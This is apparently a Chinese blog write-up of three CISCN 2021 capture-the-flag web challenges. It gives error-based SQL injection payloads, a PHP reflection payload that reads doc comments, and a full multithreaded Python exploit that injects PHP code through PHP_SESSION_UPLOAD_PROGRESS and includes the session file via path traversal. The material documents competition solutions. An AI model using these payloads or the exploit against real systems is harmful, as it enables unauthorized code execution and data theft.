2021年 CISCN writeup

本文详细介绍了在2021年CISCN比赛中遇到的SQL注入和源码泄露问题,以及如何利用这些漏洞获取flag。在easy_sql部分,通过手动测试和payload构造,成功从数据库中提取出flag。在easy_source部分,利用反射机制读取了隐藏的源码,并从中找到flag。在middle_source部分,通过扫描目录,结合phpinfo信息,利用PHP_SESSION_UPLOAD_PROGRESS实现文件包含,最终获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

2021年 CISCN writeup

1.1 easy_sql

进行手动测试,发现可以进行报错注入。Payload 为:

') AND updatexml(1, concat(0x7e, (database()), 0x7e), 1)--

尝试读取数据库表的表名,发现information关键字被过滤,猜了一下表名为 fl4g、flag,最后确定表名为 flag。

使用 join 爆出字段名。

select*from (select * from flag as a join flag b)c
select*from (select * from flag as a join flag b using(id,`no`))c
select*from (select * from flag as a join flag b using(id,`no`,`29023c0e-87b4-4f21-9ba3-f515c88243e2`))c

使用 group 语句查询 flag

SELECT group_concat(`29023c0e-87b4-4f21-9ba3-f515c88243e2`) from flag 

CISCN{pN9yX-L8msl-YA6OI-WZ5QG-m,只获得了一半的 flag。

尝试绕过截断。

select substr((SELECT group_concat(`29023c0e-87b4-4f21-9ba3-f515c88243e2`) from flag), 30, 60) 

-m7DeE-},获得另一半的 flag。

最后拼接得到flag为:CISCN{pN9yX-L8msl-YA6OI-WZ5QG-m7DeE-}

1.2 easy_source

通过扫描目录,发现.index.php.swo泄漏源码。

发现和fslh-writeup题目非常相似,尝试利用 PHP 内置类中的 ReflectionMethod 来读取 User 类里面各个函数的注释。

最后发现flag也是在q函数的注释中,payload为:?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

1.3 middle_source

扫描目录可以发现文件 .listing,在 you_can_seeeeeeee_me.php 路径中可以看到 phpinfo 的信息。

通过 phpinfo 中给出的 session 地址,和首页进行任意文件包含,可以联想到利用PHP_SESSION_UPLOAD_PROGRESS 进行文件包含。

参考文章《利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含》完成 expoit

#-*-coding:utf-8-*-
import threading
import requests
import io
import sys

url="http://121.36.31.240:24071/"
COUNT = 0

file = io.BytesIO(b'a' * 1024 * 50)

def Run(threads_name):
    global COUNT
    read_value = COUNT

    resp = requests.post(
    url=url,
    data={
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php echo "slug01sh";print_r(scandir("/etc/geecbbgagc/adbjhijbed/fhbccehdff/bafebihfee/efbdacbhae")); ?>', # session内容
        'cf':'../../../../../../var/lib/php/sessions/ieadabjdfh/sess_flag', # 文件名称
        '':''
        }, # !
    files={'file': ('a.txt', file)}, 
    cookies={"PHPSESSID": "flag"}, # ! PHPSESSID
    )
    if 'slug01sh' in resp.text:
        print(resp.text)
        sys.exit(0)

    print("COUNT in Thread-%s is %d" % (str(threads_name), read_value))
    COUNT = read_value + 1

def main():
    threads = []
    for j in range(200):
        t = threading.Thread(target=Run,args=(j,))
        threads.append(t)
        t.start()
    for i in range(len(threads)):
        threads[i].join()
    print("Finally, The COUNT is %d" % (COUNT,))

if __name__ == '__main__':
    main()

在 data 的 PHP_SESSION_UPLOAD_PROGRESS 字段写入需要执行的代码,最后读到 flag 位于 /etc/geecbbgagc/adbjhijbed/fhbccehdff/bafebihfee/efbdacbhae,文件名为 fl444444g。

利用 index.php 的任意文件读取,即可得到 flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值